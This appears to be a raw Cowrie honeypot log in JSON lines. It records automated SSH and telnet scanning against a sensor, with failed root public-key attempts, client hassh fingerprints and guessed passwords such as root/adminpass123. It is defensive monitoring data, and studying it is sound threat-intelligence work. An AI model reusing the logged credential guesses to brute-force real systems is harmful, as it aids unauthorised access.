{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:d8:d6:d5:7b:0e:d2:12:51:fb:57:34:3f:a6:80:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsA9sASW6l10UkUuORjCd6xdmbwOxcj3keetWZHPZkxDBI/kAuL59erpdDgKVpaZJTjOvXcCOjGSaPbGgo0kYRk1aSMoPL23kr8MrXmq1ujF5GXvuZ+IYbAJaFXzGlGm0LPaIlVbS8Op2omAhh5cR9iSKiVhYvc6UTv143kEeXQDAoJaufPo870+SQ4LkJ6hioMxW3wToWP78mAeO0oDAD/OkDGtLX4Z+hZa5NfYmappxw/nmWS3l4GQenxwjqc4udFH9ewBY3gRztFNFboiC1cfq77QrJPjQ+chWZDlN0Uvd40MC3u5LMAjGRYgUF80vfJyXVyj1K2exjKC8Dqbst","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.345199Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:cd:15:71:18:04:67:b9:0d:c7:b0:61:5a:9e:19:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAWiyNuJcSRMgeRUNnpmexOLPmt8SgjmULv/3bNW1SrTJiBEIGlHVnRjmyW8cwv1XVJsnH523GNtlMLAMPDmXFiButYGtlSGPlXtt7vOggBrf7vdE83RUSPAYbfkPACfFXpiF+2lrAm6wfW7WA3KwRL3QI48n44EJEOFreYxklBIh+/gWAgu6uZ5eJfnOCzsGc+KZ1D8wM5TBWEr/XrAZHBhX03ut7RwL8/pvQ4tWzb6/jxcWfBiUn+v7O7hzwVD0b4mM0OOP9rQYL2m7btZccUyk/JLQBqzWGkYcghnNQHYfbF/efM8H3wwyCns2fYFE0uEi8OOtlfM1V66BMSkxSRiNWifJzUSsmRwTAJ0Y7lz/sh87K5mC6xQQb9rTy7rxNouCk6Xni/mpiVhrc+WsTA+Sel43V9HuXopUUijF6CdK67yow+llikmpNRzyIdnRqFMXm/G02LEqcNQDVJeZKxmPLi8swRhRfBXYsUFJRFTpgyePrGL4+E+o9eG8zdpYf4/YFOiTDqeRvlyt1J4QVn36OB1XnfG1HY/zsHM8ROxyn/4B447jeZagc42lbSk/OfqnlEQXh+9P23xBm4pxd2KRUY/+Y/CKVg8e0wAA4Te5kIEKN1QszQAQqXbooejm8hF9VbjW5KatEoYgYiqhDm+utlqm1EWFsMetKnqJQqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:cd:15:71:18:04:67:b9:0d:c7:b0:61:5a:9e:19:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.435215Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:cd:15:71:18:04:67:b9:0d:c7:b0:61:5a:9e:19:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAWiyNuJcSRMgeRUNnpmexOLPmt8SgjmULv/3bNW1SrTJiBEIGlHVnRjmyW8cwv1XVJsnH523GNtlMLAMPDmXFiButYGtlSGPlXtt7vOggBrf7vdE83RUSPAYbfkPACfFXpiF+2lrAm6wfW7WA3KwRL3QI48n44EJEOFreYxklBIh+/gWAgu6uZ5eJfnOCzsGc+KZ1D8wM5TBWEr/XrAZHBhX03ut7RwL8/pvQ4tWzb6/jxcWfBiUn+v7O7hzwVD0b4mM0OOP9rQYL2m7btZccUyk/JLQBqzWGkYcghnNQHYfbF/efM8H3wwyCns2fYFE0uEi8OOtlfM1V66BMSkxSRiNWifJzUSsmRwTAJ0Y7lz/sh87K5mC6xQQb9rTy7rxNouCk6Xni/mpiVhrc+WsTA+Sel43V9HuXopUUijF6CdK67yow+llikmpNRzyIdnRqFMXm/G02LEqcNQDVJeZKxmPLi8swRhRfBXYsUFJRFTpgyePrGL4+E+o9eG8zdpYf4/YFOiTDqeRvlyt1J4QVn36OB1XnfG1HY/zsHM8ROxyn/4B447jeZagc42lbSk/OfqnlEQXh+9P23xBm4pxd2KRUY/+Y/CKVg8e0wAA4Te5kIEKN1QszQAQqXbooejm8hF9VbjW5KatEoYgYiqhDm+utlqm1EWFsMetKnqJQqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.441250Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:30:e7:93:58:e8:a3:c3:35:d7:70:bf:f1:21:39:5d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3NmRJ3O4enTqqjCjX4iOl3As26+IhmY+vj/cNr12dGwWIJ8L11B0ZB1d5FVmLybBg9H24wydb2gKrYqgrWUK/PFv0Hcza+oj0prjcHnKuGHJIw/ntvNzLU2XwX+OzAJ/z7lpsle00r02IEm77CkKEXDtUKnN8tYJwVC8WTdkFNAAAAFQCxSjge4CzFCNM7Ru2qFFtg68rqvQAAAIEAj/oAs/rnYpn2U99XORG5hXjyOUHMeXsLVp0t7s4qjs9yd0nYAlhfggzYIDz2WIVWuAoOQCB0RmiuJqGRMPi0JtOv9MJ7FXiprGz6stlwQYNjGPuLZP6db/f4lU4s4RGdraoPp3r+adb/t+wrhpENKBptWGhZgrZEqQFHkj72YGYAAACAfozeEnLUNbcpmcVDSGRiErvmNJxUSXXWIMmpzrm3vWLsaNciR+ZLYiQj1ocEKil7UvSWEulR+kWVdbwrNilTqIa+lJxDNQbpHWAz2bpJ2IXjG7fSw7fpHuuFy94va8QUFYCd52erUtl2rCbj85GW9eFCa4mXzBpZXh0Zia3Uy2s=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 7a:30:e7:93:58:e8:a3:c3:35:d7:70:bf:f1:21:39:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.537565Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:30:e7:93:58:e8:a3:c3:35:d7:70:bf:f1:21:39:5d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJ3NmRJ3O4enTqqjCjX4iOl3As26+IhmY+vj/cNr12dGwWIJ8L11B0ZB1d5FVmLybBg9H24wydb2gKrYqgrWUK/PFv0Hcza+oj0prjcHnKuGHJIw/ntvNzLU2XwX+OzAJ/z7lpsle00r02IEm77CkKEXDtUKnN8tYJwVC8WTdkFNAAAAFQCxSjge4CzFCNM7Ru2qFFtg68rqvQAAAIEAj/oAs/rnYpn2U99XORG5hXjyOUHMeXsLVp0t7s4qjs9yd0nYAlhfggzYIDz2WIVWuAoOQCB0RmiuJqGRMPi0JtOv9MJ7FXiprGz6stlwQYNjGPuLZP6db/f4lU4s4RGdraoPp3r+adb/t+wrhpENKBptWGhZgrZEqQFHkj72YGYAAACAfozeEnLUNbcpmcVDSGRiErvmNJxUSXXWIMmpzrm3vWLsaNciR+ZLYiQj1ocEKil7UvSWEulR+kWVdbwrNilTqIa+lJxDNQbpHWAz2bpJ2IXjG7fSw7fpHuuFy94va8QUFYCd52erUtl2rCbj85GW9eFCa4mXzBpZXh0Zia3Uy2s=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.541843Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:2e:41:4a:74:8c:31:bc:e6:ad:9f:98:78:d4:92:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9lGXH+ulrGYkRgvloti1Z5Iy03oZ4Cj47EE+Se/y/WIC0dAGadoKuouzLtQLxuQx+trJ0Yjz3eTMwkLsOfx+fI814DEVhyZ/4QXyUoZOUUjo3fAGHmSTmx0JbiaJR6gyaw7BPg9lVqGhUqP6o0LXzRtvsDxXwz1C5bOTg/jUJCLSCIdeugNBXG8vhQdudLj19iQJGBEuQgwCDYMsD77T+P4l1Pni/PjXDztF/mHGpf06gGPTyd1FxMsXNcW1prn+GEi60UFYDvlFtQUm8QRLduJhFFDoLaq6JApfOZb8ChzD+sv5600uZvT0w+pa80MmAzgiKwUM5GdEu3S5bnWo/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:2e:41:4a:74:8c:31:bc:e6:ad:9f:98:78:d4:92:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.635907Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:2e:41:4a:74:8c:31:bc:e6:ad:9f:98:78:d4:92:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9lGXH+ulrGYkRgvloti1Z5Iy03oZ4Cj47EE+Se/y/WIC0dAGadoKuouzLtQLxuQx+trJ0Yjz3eTMwkLsOfx+fI814DEVhyZ/4QXyUoZOUUjo3fAGHmSTmx0JbiaJR6gyaw7BPg9lVqGhUqP6o0LXzRtvsDxXwz1C5bOTg/jUJCLSCIdeugNBXG8vhQdudLj19iQJGBEuQgwCDYMsD77T+P4l1Pni/PjXDztF/mHGpf06gGPTyd1FxMsXNcW1prn+GEi60UFYDvlFtQUm8QRLduJhFFDoLaq6JApfOZb8ChzD+sv5600uZvT0w+pa80MmAzgiKwUM5GdEu3S5bnWo/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.640712Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:ed:7e:1d:aa:2e:f1:c8:ab:4e:2f:cc:e7:02:f7:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkdfRsV4RqPLJAoWGqPVZ6zn65d/RsbSA3IhWkuoifGC+Tn0vXDk8K/llpjhfga1mEfCBU+dRvFiB1zZKq8EBYfV1J5iY3quC1mTopLuay5SdJ7Vsxg/g19RY2b2FSVsdTiqOpcNwqHspa192hkHLOPoZ3Lgb5q8oWnMO7CkmsExxN7p/X0Nvb2wJPPJP/3oF5jxgZ1FF7FZO7TgxsNhWjquY9XtgWj+70tnjuFClPvk2QPe7YJqCXvgxWtC87Psrr5WKBKheF4OiAk7PmObaaFUmYjKVMgLRte6ksskFRc4nvvEOCLRCWZWwugeYYAGwGB1pkk3ttsBeHVgxMqM1vt92NqUcucWjMPWQ0lA6jihHPeunS194AXRaOO7hFc315gbgLI/YYCi51cxTP9ZITo1pTjPOnK6FOKUhk40BbckJL4ZM5Iz6gr61EO14PJGfmUtnTeC//qt1tZ9Kof0AxWG2T44hxYfcOCH0ARa2COZywgjT2vfQI6Ozxs239RVu41eLAuWB/1a5xTrtbv7gOCJnsQaAw+0Hl0rT60TJz1lGpuXKWlIXcu5vlIo8vUu85SiA5tA9BBvB272bCiG+5QuGSK/SpCSLbnqGRbdcCN62ipdBDg0EDoHRMPmrWlq0MD6+UAKq1JCGg4BU5Ls3b5NAIEr00LKHdr862HI2SRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:ed:7e:1d:aa:2e:f1:c8:ab:4e:2f:cc:e7:02:f7:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.731407Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:ed:7e:1d:aa:2e:f1:c8:ab:4e:2f:cc:e7:02:f7:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDkdfRsV4RqPLJAoWGqPVZ6zn65d/RsbSA3IhWkuoifGC+Tn0vXDk8K/llpjhfga1mEfCBU+dRvFiB1zZKq8EBYfV1J5iY3quC1mTopLuay5SdJ7Vsxg/g19RY2b2FSVsdTiqOpcNwqHspa192hkHLOPoZ3Lgb5q8oWnMO7CkmsExxN7p/X0Nvb2wJPPJP/3oF5jxgZ1FF7FZO7TgxsNhWjquY9XtgWj+70tnjuFClPvk2QPe7YJqCXvgxWtC87Psrr5WKBKheF4OiAk7PmObaaFUmYjKVMgLRte6ksskFRc4nvvEOCLRCWZWwugeYYAGwGB1pkk3ttsBeHVgxMqM1vt92NqUcucWjMPWQ0lA6jihHPeunS194AXRaOO7hFc315gbgLI/YYCi51cxTP9ZITo1pTjPOnK6FOKUhk40BbckJL4ZM5Iz6gr61EO14PJGfmUtnTeC//qt1tZ9Kof0AxWG2T44hxYfcOCH0ARa2COZywgjT2vfQI6Ozxs239RVu41eLAuWB/1a5xTrtbv7gOCJnsQaAw+0Hl0rT60TJz1lGpuXKWlIXcu5vlIo8vUu85SiA5tA9BBvB272bCiG+5QuGSK/SpCSLbnqGRbdcCN62ipdBDg0EDoHRMPmrWlq0MD6+UAKq1JCGg4BU5Ls3b5NAIEr00LKHdr862HI2SRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.735082Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:35.824612Z","src_ip":"103.205.17.26","session":"98ec51eacfcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.245.166.57","src_port":38936,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8e1e996a6c8","protocol":"telnet","message":"New connection: 190.245.166.57:38936 (10.17.0.5:23) [session: a8e1e996a6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:39.810108Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":38762,"dst_ip":"159.203.135.109","dst_port":22,"session":"33cc4f124f47","protocol":"ssh","message":"New connection: 41.181.156.205:38762 (159.203.135.109:22) [session: 33cc4f124f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:47.812519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:47.816523Z","src_ip":"41.181.156.205","session":"33cc4f124f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:48.097406Z","src_ip":"41.181.156.205","session":"33cc4f124f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moniq","message":"login attempt [root/moniq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:49.251993Z","src_ip":"41.181.156.205","session":"33cc4f124f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:06:50.536774Z","src_ip":"41.181.156.205","session":"33cc4f124f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":58814,"dst_ip":"10.17.0.5","dst_port":23,"session":"271c433ae7a1","protocol":"telnet","message":"New connection: 167.71.238.254:58814 (10.17.0.5:23) [session: 271c433ae7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:01.136387Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":37682,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ca3281f0469","protocol":"ssh","message":"New connection: 163.245.222.56:37682 (159.203.135.109:22) [session: 4ca3281f0469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:16.393269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:16.404067Z","src_ip":"163.245.222.56","session":"4ca3281f0469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:16.410032Z","src_ip":"163.245.222.56","session":"4ca3281f0469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminpass123","message":"login attempt [root/adminpass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:16.465905Z","src_ip":"163.245.222.56","session":"4ca3281f0469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:17.475414Z","src_ip":"163.245.222.56","session":"4ca3281f0469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":44074,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b4ed8783286","protocol":"ssh","message":"New connection: 43.135.166.146:44074 (10.17.0.5:22) [session: 7b4ed8783286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:56.934060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:56.939368Z","src_ip":"43.135.166.146","session":"7b4ed8783286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:57.007887Z","src_ip":"43.135.166.146","session":"7b4ed8783286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bmw318d123","message":"login attempt [root/bmw318d123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:57.311953Z","src_ip":"43.135.166.146","session":"7b4ed8783286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:07:58.385064Z","src_ip":"43.135.166.146","session":"7b4ed8783286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.44","src_port":52830,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf35327415e9","protocol":"ssh","message":"New connection: 94.26.106.44:52830 (10.17.0.5:22) [session: bf35327415e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:04.573204Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:04.581470Z","src_ip":"94.26.106.44","session":"bf35327415e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.44","src_port":52842,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d0781581bf","protocol":"ssh","message":"New connection: 94.26.106.44:52842 (10.17.0.5:22) [session: a4d0781581bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:04.701814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:04.709453Z","src_ip":"94.26.106.44","session":"a4d0781581bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:04.798621Z","src_ip":"94.26.106.44","session":"a4d0781581bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1234","message":"login attempt [user3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:08:04.978273Z","src_ip":"94.26.106.44","session":"a4d0781581bf","protocol":"ssh"}
